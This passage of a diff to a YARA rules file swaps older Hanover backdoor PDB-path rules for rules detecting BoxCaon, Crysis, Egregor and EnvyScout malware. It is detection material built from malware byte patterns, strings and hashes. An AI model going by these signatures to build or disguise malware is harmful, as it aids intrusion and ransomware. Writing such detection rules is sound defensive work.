ff 0f 00 00 00 89 bd 44 f3 ff ff c6 85 34 f3 ff ff 00 8d 85 34 f3 ff ff 50 83 ec 1c c6 45 fc 03 8d 85 fc f2 ff ff 8b f4 89 a5 50 f2 ff ff 50 e8 [2] ff ff e8 [2] ff ff 8b 9d 34 f3 ff ff 83 c4 20 83 bd 48 f3 ff ff 10 73 06 8d 9d 34 f3 ff ff 8d 85 4c f2 ff ff 50 }
+		$s3 = { 83 c4 10 8d 85 6c fb ff ff 50 68 04 01 00 00 ff 15 2c d0 40 00 33 c0 56 66 89 85 74 fd ff ff 8d 85 76 fd ff ff 53 50 e8 ?? 10 00 00 83 c4 0c ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 6c fb ff ff 50 8d 45 ac 50 8d 85 74 fd ff ff 50 ff d6 83 c4 10 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 74 fd ff ff 50 ff 15 24 d0 40 00 8b f8 83 ff ff 74 79 53 8d 85 50 f2 ff ff 50 ff b5 4c f2 ff ff 89 9d 50 f2 ff ff ff b5 48 f2 ff ff 57 ff 15 14 d0 40 00 57 ff 15 34 d0 40 00 33 c0 68 fe 07 00 00 66 89 85 6c f3 ff ff 8d 85 6e f3 ff ff 53 50 e8 ?? 10 00 00 8d 85 74 fd ff ff 50 8d 45 dc 50 8d 85 6c f3 ff ff 50 ff d6 8d 85 6c f3 ff ff 50 8d 85 18 f3 ff ff 50 8d 8d 50 f3 ff ff e8 [2] ff ff 83 }
+		$s4 = { 8b 45 08 33 ff 89 85 60 f1 ff ff 89 bd 5c f1 ff ff 33 c0 be 06 02 00 00 89 7d fc 56 66 89 85 88 fb ff ff 8d 85 8a fb ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 80 f9 ff ff 8d 85 82 f9 ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee bb 04 01 00 00 53 8d 85 88 fb ff ff 50 8d 45 e0 50 ff 15 00 d0 40 00 8d 85 80 f9 ff ff 50 53 ff 15 2c d0 40 00 6a 25 58 6a 73 5b 6a 63 66 89 45 c0 8b c3 66 89 45 c2 58 6a 63 66 89 45 c4 8b c3 66 89 45 c6 58 6a 6f 66 89 45 c8 58 6a 64 66 89 45 ca 58 6a 65 66 89 45 cc 58 66 89 45 ce 6a 25 58 6a 64 66 89 45 d0 58 6a 2e 66 89 45 d2 58 6a 6c 66 89 45 d4 58 6a 6f 66 89 45 d6 58 6a 67 66 89 45 d8 58 66 89 45 da 33 c0 68 fe 07 00 00 66 89 45 dc 66 89 85 80 f1 ff ff 8d 85 82 f1 ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 90 fd ff ff 8d 85 92 fd ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 25 58 6a 20 66 89 45 98 8b c3 66 89 45 9a 58 6a 2f 8b c8 66 89 4d 9c 59 6a 41 66 89 4d 9e 59 6a 2f 66 89 4d a0 8b c8 66 89 4d a2 59 6a 43 66 89 4d a4 59 66 89 4d a6 6a 22 8b c8 66 89 4d a8 59 6a 25 66 89 4d aa 59 66 89 4d ac 6a 22 8b cb 66 89 4d ae 59 66 89 4d b0 8b c8 6a 3e 66 89 4d b2 59 66 89 45 b6 6a 25 58 66 89 45 b8 33 c0 66 89 4d b4 66 89 5d ba 66 89 45 bc ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 80 f9 ff ff 50 8d 45 c0 50 8d 85 90 fd ff ff 50 ff d6 8b 45 0c 83 c4 10 83 7d 20 08 73 03 8d 45 0c 8d 8d 90 fd ff ff 51 50 8d 85 88 fb ff ff 50 8d 45 98 50 8d 85 80 f1 ff ff 50 ff d6 6a 44 5e 56 8d 85 04 f1 ff ff 57 50 e8 [2] 00 00 6a 10 8d 85 48 f1 ff ff 57 50 89 b5 04 f1 ff ff e8 [2] 00 00 83 c4 2c 8d 85 04 f1 ff ff 50 ff 15 28 d0 40 00 33 c0 66 89 85 34 f1 ff ff 8d 85 48 f1 ff ff 50 8d 85 04 f1 ff ff 50 57 57 6a 10 57 57 57 8d 85 80 f1 ff ff 33 db 50 43 57 89 9d 30 f1 ff ff ff 15 08 d0 40 00 68 3f 77 1b 00 ff b5 48 f1 ff ff 8b f0 ff 15 0c d0 40 00 3b f7 0f 84 1c 01 00 00 ff b5 4c f1 ff ff 8b 35 34 d0 40 00 ff d6 ff b5 48 f1 ff ff ff d6 33 c0 c7 85 78 f1 ff ff 07 00 00 00 89 bd 74 f1 ff ff 66 89 85 64 f1 ff ff 57 57 6a 03 57 57 68 00 00 00 80 8d 85 90 fd ff ff 50 88 5d fc ff 15 24 d0 40 00 89 85 5c f1 ff ff 83 f8 ff 0f 84 96 00 00 00 57 50 ff 15 04 d0 40 00 89 85 58 f1 ff ff 83 f8 ff 75 2b ff b5 5c f1 ff ff ff d6 8b 85 60 f1 ff ff 68 64 f1 40 00 e8 f1 00 00 00 53 33 ff 8d b5 64 f1 ff ff e8 64 03 00 00 e9 95 00 00 00 83 c0 02 50 e8 [2] 00 00 8b d8 8b 85 58 f1 ff ff 83 c0 02 50 57 53 e8 [2] 00 00 83 c4 10 57 8d 85 58 f1 ff ff 50 ff b5 58 f1 ff ff 53 ff b5 5c f1 ff ff ff 15 20 d0 40 00 ff b5 5c f1 ff ff ff d6 8d 85 64 f1 ff ff 50 53 e8 d9 11 00 00 53 e8 [2] 00 00 83 c4 0c 8d 85 90 fd ff ff 50 ff 15 38 d0 40 00 8b b5 60 f1 ff ff 8d 9d 64 f1 ff ff e8 96 00 00 00 6a 01 33 ff 8b }
+		$s5 = { be 06 02 00 00 89 ?? fc 56 66 89 85 ?? fb ff ff 8d 85 ?? fb ff ff ?? 50 e8 [2] 00 00 33 c0 56 66 89 85 ?? f9 ff ff 8d 85 ?? f9 ff ff ?? 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee ?? 04 01 00 00 ?? 8d 85 ?? fb ff ff 50 8d 45 e0 50 ff 15 00 [2] 00 8d 85 ?? f9 ff ff 50 ?? ff 15 [3] 00 }
+		$s6 = { 8b 45 08 [5] ff [5] 6a 07 89 85 10 ff ff ff ?? 33 ?? 33 c0 89 ?? 14 89 ?? 10 89 ?? 18 ff ff ff 66 89 ?? 8d ?? 1c 89 ?? fc 89 ?? 14 89 ?? 10 66 89 ?? 8d ?? 38 89 ?? 14 89 ?? 10 89 ?? 0c ff ff ff 66 89 ?? 89 ?? 6c 89 ?? 68 66 89 ?? 58 89 ?? 88 00 00 00 89 ?? 84 00 00 00 66 89 ?? 74 89 ?? b8 00 00 00 89 ?? b4 00 00 00 66 89 ?? a4 00 00 00 6a 68 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <440KB and any of them
+		uint16(0)==0x5a4d and filesize >30KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Hanover_Foler_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_Mal_Boxcaon_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect hanover foler samples"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "064b12a1-7a6a-5a19-bc9a-c98c1dbc6631"
-		date = "2012-01-05"
-		modified = "2020-08-14"
-		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L79-L106"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "bd77d7f8af8329dfb0bcc0624d6d824d427fbaf859ab2dedd8629aa2f3b7ae0d"
-		logic_hash = "cd2bd6a4c8084c02af5aaba81529cdb67aab7c2db397e2757d383534123c5227"
+		description = "Detect the BoxCaon malware"
+		author = "Arkbird_SOLG"
+		id = "5f456b73-02f9-5dd7-973e-bde20dcddd27"
+		date = "2021-07-01"
+		modified = "2021-07-02"
+		reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_BoxCaon_Jul_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "c7dfce8d7a451817a80897d5cb02cec5aba52f86ece0286353865b7d391e2ffc"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Hanover"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 46
+		tags = "FILE"
+		hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b"
+		hash2 = "d0b88ab321a05fc94505620c9d02baec4cb1de7bb3b0067de4f8c0d3ba8548b2"
+		tlp = "White"
+		adversary = "IndigoZebra"
 
 	strings:
-		$pdb = "\\Documents and Settings\\Administrator\\Desktop\\nn\\Release\\nn.pdb"
-		$pdb1 = "\\Documents and Settings\\Administrator\\Desktop\\UsbP\\Release\\UsbP.pdb"
-		$pdb2 = "\\Documents and Settings\\Administrator\\Desktop\\UsbP\\UsbP - u\\Release\\UsbP.pdb"
-		$pdb3 = "\\Monthly Task\\August 2011\\USB Prop\\Usb Propagator.09-24\\nn\\Release\\nn.pdb"
+		$s1 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 61 75 74 6f 72 65 6e 61 6d 65 22 3a 20 66 61 6c 73 65 7d }
+		$s2 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 72 65 63 75 72 73 69 76 65 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 65 64 69 61 5f 69 6e 66 6f 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 64 65 6c 65 74 65 64 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 68 61 73 5f 65 78 70 6c 69 63 69 74 5f 73 68 61 72 65 64 5f 6d 65 6d 62 65 72 73 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 6f 75 6e 74 65 64 5f 66 6f 6c 64 65 72 73 22 3a 20 74 72 75 65 2c 22 69 6e 63 6c 75 64 65 5f 6e 6f 6e 5f 64 6f 77 6e 6c 6f 61 64 61 62 6c 65 5f 66 69 6c 65 73 22 3a 20 74 72 75 65 7d }
+		$s3 = "api.dropboxapi.com" fullword ascii
+		$s4 = { 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 3a 20 22 00 00 00 22 00 00 00 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 20 3a 20 22 00 00 0d 00 0a 00 44 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 3a 00 20 00 7b 00 22 00 70 00 61 00 74 00 68 00 22 00 3a 00 20 00 22 00 00 00 22 00 7d 00 0d 00 0a 00 00 00 00 00 7b 22 65 72 72 6f 72 5f 73 75 6d 6d 61 72 79 22 00 00 00 00 25 00 73 00 5c 00 25 00 73 00 00 00 7b 22 70 61 74 68 22 3a 20 22 25 73 22 }
+		$s5 = "C:\\Users\\Public\\%d\\" fullword ascii
+		$s6 = { 22 00 2c 00 22 00 6d 00 6f 00 64 00 65 00 22 00 3a 00 20 00 22 00 6f 00 76 00 65 00 72 00 77 00 72 00 69 00 74 00 65 00 22 00 2c 00 22 00 61 00 75 00 74 00 6f 00 72 00 65 00 6e 00 61 00 6d 00 65 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 2c 00 22 00 6d 00 75 00 74 00 65 00 22 00 3a 00 20 00 74 00 72 00 75 00 65 00 2c 00 22 00 73 00 74 00 72 00 69 00 63 00 74 00 5f 00 63 00 6f 00 6e 00 66 00 6c 00 69 00 63 00 74 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 7d 00 0d 00 0a 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d }
+		$s7 = { 25 73 2f [1-4] 2e 74 78 74 }
+		$s8 = { 25 73 2f [1-4] 2d 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 74 78 74 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <480KB and any of them
+		uint16(0)==0x5a4d and filesize >30KB and 6 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Hanover_Linog_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_Ran_Crysis_Sep_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect hanover linog samples based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2f4d30ad-aadc-5c90-8234-d1b5802f4781"
-		date = "2012-01-05"
-		modified = "2020-08-14"
-		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L108-L132"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "f6319fd0e1d3b9d3694c46f80208e70b389e7dcc6aaad2508b80575c604c5dba"
-		logic_hash = "3aebafc80ca2e187bdcae3750162d94ce9419988ffd451ba4762b2d299a04ed7"
+		description = "Detect Crysis ransomware"
+		author = "Arkbird_SOLG"
+		id = "9cc1a1b9-c4a9-5add-833d-81be02ffc4fb"
+		date = "2020-10-16"
+		modified = "2020-10-16"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Crysis_Sep_2020_1.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "c7706b862cd0277c8b726d32dc819ad7e15933b28e3a31599922f3dc0beb8348"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Hanover"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 69
+		tags = "FILE"
+		hash1 = "34c485ad11076ede709ff409c0e1867dc50fd40311ae6e7318ddf50679fa4049"
+		hash2 = "4708750c9a6fdeaec5f499a3cd26bb5f61db4f82e66484dc7b44118effbb246f"
+		hash3 = "b565c8e1e81796db13409f37e4bd28877272b5e54ab5c0a3d9b6a024e7f5a039"
+		hash4 = "8e8b6818423930eea073315743b788aef2f41198961946046b7b89042cb3f95a"
 
 	strings:
-		$pdb = "\\Users\\hp\\Desktop\\download\\Release\\download.pdb"
-		$pdb1 = "\\Backup-HP-ABCD-PC\\download\\Release\\download.pdb"
+		$s1 = { 6f 25 25 4a 72 2e 2e 5c 24 }
+		$s2 = { 52 53 44 53 25 7e 6d }
+		$s3 = { 78 78 4a 6f 25 25 5c 72 2e 2e 38 24 }
+		$s4 = { 25 65 65 ca af 7a 7a f4 8e ae ae 47 e9 08 08 10 18 ba ba }
+		$s5 = { 58 74 1a 1a 34 2e 1b 1b 36 2d 6e 6e dc b2 5a 5a b4 ee a0 a0 5b fb 52 52 a4 f6 3b 3b 76 4d d6 d6 b7 61 b3 b3 7d ce 29 29 52 7b e3 e3 dd 3e 2f 2f 5e 71 84 84 13 97 53 53 }
+		$s6 = { 3b 32 32 64 56 3a 3a 74 4e 0a 0a 14 1e 49 49 92 db 06 06 0c 0a 24 24 48 6c 5c 5c b8 e4 c2 c2 9f 5d d3 d3 bd 6e ac ac 43 ef 62 62 }
+		$s7 = { 26 4c 6a 26 36 6c 5a 36 3f 7e 41 3f f7 f5 02 f7 cc 83 4f cc 34 68 5c 34 a5 51 f4 a5 e5 d1 34 e5 f1 f9 08 f1 71 e2 93 71 d8 ab 73 d8 31 62 53 31 15 2a 3f 15 04 08 0c 04 c7 95 52 c7 23 46 65 23 }
+		$s8 = { 7e fc 82 7e 3d 7a 47 3d 64 c8 ac 64 5d ba e7 5d 19 32 2b 19 73 e6 95 73 60 c0 a0 60 81 19 98 81 4f 9e d1 4f dc a3 7f dc 22 44 66 22 2a 54 7e 2a 90 3b ab 90 88 0b 83 88 46 8c ca 46 ee c7 29 }
+		$s9 = "sssssbsss" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <165KB and any of them
+		uint16(0)==0x5a4d and filesize >30KB and all of them
 }
-rule TRELLIX_ARC_Apt_Hanover_Ron_Babylon_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_Ran_Egregor_Sept_2020_1 : FILE
 {
 	meta:
-		description = "apt_hanover_ron_babylon"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2637bba5-67be-5e71-9ce3-570ea14a96df"
-		date = "2012-01-05"
-		modified = "2020-08-14"
-		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L134-L200"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "784cfb1bfdd7080c658fad08b1f679bbb0c94e6e468a3605ea47cdce533df815"
-		logic_hash = "212de25a555335eb4dc24052702ee30d71039f44b448079f19f12fcb775d5298"
+		description = "Detect Egregor ransomware (variant Sept2020)"
+		author = "Arkbird_SOLG"
+		id = "b44b93ec-b470-511e-b08f-7d83efd30ecc"
+		date = "2020-10-07"
+		modified = "2020-10-16"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Egregor_Sept_2020_1.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "4ce7398cc6ad0538735aec6490204122690f029cbb8d20f9efd2f612955f106b"
 		score = 75
-		quality = 45
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Hanover"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "4c9e3ffda0e663217638e6192a093bbc23cd9ebfbdf6d2fc683f331beaee0321"
+		hash2 = "aee131ba1bfc4b6fa1961a7336e43d667086ebd2c7ff81029e14b2bf47d9f3a7"
+		hash3 = "3fd510a3b2e0b0802d57cd5b1cac1e61797d50a08b87d9b5243becd9e2f7073f"
+		hash4 = "9c900078cc6061fb7ba038ee5c065a45112665f214361d433fc3906bf288e0eb"
+		hash5 = "a376fd507afe8a1b5d377d18436e5701702109ac9d3e7026d19b65a7d313b332"
 
 	strings:
-		$pdb = "\\Users\\hp\\Desktop\\download\\Release\\download.pdb"
-		$pdb1 = "\\26_10_2010\\demoMusic\\Release\\demoMusic.pdb"
-		$pdb2 = "\\26_10_2010\\New_FTP_HttpWithLatestfile2\\Release\\httpbackup.pdb"
-		$pdb3 = "\\26_10_2010\\New_FTP_HttpWithLatestfile2_FirstBlood_Released\\ New_FTP_HttpWithLatestfile2\\Release\\FirstBloodA1.pdb"
-		$pdb4 = "\\app\\Http_t\\Release\\Crveter.pdb"
-		$pdb5 = "\\BNaga\\kaam\\Appin SOFWARES\\RON 2.0.0\\Release\\Ron.pdb"
-		$pdb6 = "\\BNaga\\kaam\\kaam\\NEW SOFWARES\\firstblood\\Release\\FirstBloodA1.pdb"
-		$pdb7 = "\\BNaga\\kaam\\kaam\\New_FTP_HttpWithLatestfile2_FirstBlood_Released\\ New_FTP_HttpWithLatestfile2\\Release\\Ron.pdb"
-		$pdb8 = "\\BNaga\\kaam\\New_FTP_HttpWithLatestfile2_FirstBlood_Released\\ New_FTP_HttpWithLatestfile2\\Release\\FirstBloodA1.pdb"
-		$pdb9 = "\\BNaga\\My Office kaam\\Appin SOFWARES\\HTTP\\RON 2.0.0\\Release\\Ron.pdb"
-		$pdb10 = "\\Documents and Settings\\abc\\Desktop\\Dragonball 1.0.2(WITHOUT DOWNLOAD LINK)\\Release\\Ron.pdb"
-		$pdb11 = "\\Documents and Settings\\Administrator\\Desktop\\Feb 2012\\kmail(httpform1.1) 02.09\\Release\\kmail.pdb"
-		$pdb12 = "\\MNaga\\My Office kaam\\Appin SOFWARES\\HTTP\\RON 2.0.0\\Release\\Ron.pdb"
-		$pdb13 = "\\N\\kl\\Release\\winlsa.pdb"
-		$pdb14 = "\\N\\sr\\Release\\waulct.pdb"
-		$pdb15 = "\\Release\\wauclt.pdb"
-		$pdb16 = "\\Users\\neeru rana\\Desktop\\Klogger- 30 may\\Klogger- 30 may\\Release\\Klogger.pdb"
-		$pdb17 = "\\december task backup\\TRINITY PAYLOAD\\Dragonball 1.0.0(WITHOUT DOWNLOAD LINK)\\Release\\Ron.pdb"
-		$pdb18 = "\\Documents and Settings\\appin\\Desktop\\New_FTP_1\\New_FTP_1\\Release\\HTTP_MyService.pdb"
-		$pdb19 = "\\May Payload\\new keylogger\\Flashdance1.0.2\\kmail(http) 01.20\\Release\\kmail.pdb"
-		$pdb20 = "\\Monthly Task\\September 2011\\HangOver 1.3.2 (Startup)\\Release\\Http_t.pdb"
-		$pdb21 = "\\Sept 2012\\Keylogger\\Release\\Crveter.pdb"
-		$pdb22 = "\\Datahelp\\keytest1\\keytest\\taskmng.pdb"
-		$pdb23 = "\\Datahelp\\UPLO\\HTTP\\HTTP_T\\17_05_2011\\Release\\Http_t.pdb"
-		$pdb24 = "\\Datahelp\\UPLO\\HTTP\\HTTP_T\\20_05_2011\\Release\\Http_t.pdb"
-		$pdb25 = "\\June mac paylods\\final Klogger-1 june-Fud from eset5.0\\Klogger- 30 may\\Klogger- 30 may\\Release\\Klogger.pdb"
-		$pdb26 = "\\June mac paylods\\Keylo ger backup\\final Klogger-1 june-Fud from eset5.0\\Klogger- 30 may\\Klogger- 30 may\\Release\\kquant.pdb"
-		$pdb27 = "\\June mac paylods\\Keylogger backup\\final Klogger-1 june-Fud from eset5.0\\Klogger- 30 may\\Klogger- 30 may\\Release\\kquant.pdb"
-		$pdb28 = "\\My\\lan scanner\\Task\\HangOver 1.2.2\\Release\\Http_t.pdb"
-		$pdb29 = "\\New folder\\paylod backup\\OTHER\\Uploder\\HangOver 1.5.7 (Startup)\\HangOver 1.5.7 (Startup)\\Release\\Http_t.pdb"
-		$pdb30 = "\\keyloger\\KeyLog\\keytest1\\keytest\\taskmng.pdb"
-		$pdb31 = "\\august\\13 aug\\HangOver 1.5.7 (Startup) uploader\\Release\\Http_t.pdb"
-		$pdb32 = "\\backup E\\SourceCodeBackup\\september\\aradhana\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
-		$pdb33 = "\\payloads\\new backup feb\\SUNDAY\\kmail(http) 01.20\\kmail(http) 01.20\\Release\\kmail.pdb"
-		$pdb34 = "\\payloads\\ita nagar\\Uploader\\HangOver 1.5.7 (Startup)\\HangOver 1.5.7 (Startup)\\Release\\Http_t.pdb"
-		$pdb35 = "\\final project backup\\task information\\task of september\\Tourist 2.4.3 (Down Link On Resource) -L\\Release\\Ron.pdb"
-		$pdb36 = "\\final project backup\\complete task of ad downloader & usb grabber&uploader\\New folder\\with icon +shortcut link\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
-		$pdb37 = "\\final project backup\\uploader version backup\\fud all av hangover1.5.4\\with icon +shortcut link\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
-		$pdb38 = "\\final project backup\\uploader version backup\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
-		$pdb39 = "\\New folder\\with icon +shortcut link\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
-		$pdb40 = "\\Http uploader limited account\\Http uploader limited account\\RON 2.0.0\\Release\\Ron.pdb"
-		$pdb41 = "\\Uploader\\HTTP\\HTTP Babylon 5.1.1\\HTTP Babylon 5.1.1\\Httpbackup\\Release\\HttpUploader.pdb"
-		$pdb42 = "\\Uploader\\HTTP\\ron uplo\\RON 2.0.0\\Release\\Ron.pdb"
+		$x1 = "dmocx.dll" fullword ascii
+		$s2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
+		$s3 = "M:\\sc\\p\\testbuild.pdb" fullword ascii
+		$s4 = "Type Descriptor'" fullword ascii
+		$s5 = "=$=`=h=p=t=x=|=" fullword ascii
+		$s6 = "--nop" fullword wide
+		$s7 = "9,94989@9X9" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <330KB and any of them
+		uint16(0)==0x5a4d and filesize >200KB and 1 of ($x*) and 4 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Hanover_Slidewin_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Envyscout_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect hanover slidewin samples"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "aefa1a2b-6a6f-5209-b1e2-90f1817442da"
-		date = "2012-01-05"
-		modified = "2020-08-14"
-		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L202-L229"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "89b80267f9c7fc291474e5751c2e42838fdab7a5cbd50a322ed8f8efc3d2ce83"
-		logic_hash = "28922d75109cf3da4807e08588e076f1496c14ea462a1c8dedb1d1a734f1fb48"
+		description = "Detect EnvyScout downloader"
+		author = "Arkbird_SOLG"
+		id = "645f60d1-7c95-515c-a88e-d8528cf8b644"
+		date = "2021-05-28"
+		modified = "2021-06-02"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_EnvyScout_May_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "7ce4fd18c88f7ea7486c51fc0b673d178bd26ecc2f4a39ec9c5a4a71aaa0daa1"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Hanover"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11"
+		hash2 = "9059c5b46dce8595fcc46e63e4ffbceeed883b7b1c9a2313f7208a7f26a0c186"
+		tlp = "White"
+		adversary = "NOBELIUM"
 
 	strings:
-		$pdb = "\\Users\\God\\Desktop\\ThreadScheduler-aapnews-Catroot2\\Release\\ThreadScheduler.pdb"
-		$pdb1 = "\\Data\\User\\MFC-Projects\\KeyLoggerWin32-hostzi\\Release\\slidebar.pdb"
-		$pdb2 = "\\Data\\User\\MFC-Projects\\KeyLoggerWin32-spectram\\Release\\slidebar.pdb"
-		$pdb3 = "\\Data\\User\\MFC-Projects\\KeyLoggerWin32-zendossier\\Release\\slidebar.pdb"
+		$s1 = "==typeof window&&window.window===window?window:" fullword ascii
+		$s2 = "==typeof self&&self.self===self?self:" fullword ascii
+		$s3 = "0===t?t={autoBom:!1}:" fullword ascii
+		$s4 = "_global.saveAs=saveAs.saveAs=saveAs" fullword ascii
+		$s5 = "navigator.userAgent" fullword ascii
+		$s6 = { 6e 65 77 20 42 6c 6f 62 28 5b [1-12] 5d 2c 20 7b 74 79 70 65 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 22 7d 29 3b 73 61 76 65 41 73 28 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and any of them
+		filesize >100KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Gdocupload_Glooxmail : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Boombox_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect gdocupload tool used by APT1"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "deb20196-65e6-5dac-af0c-2f16e5926715"
-		date = "2013-02-19"
-		modified = "2020-08-14"
-		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_gdocupload_pdb.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
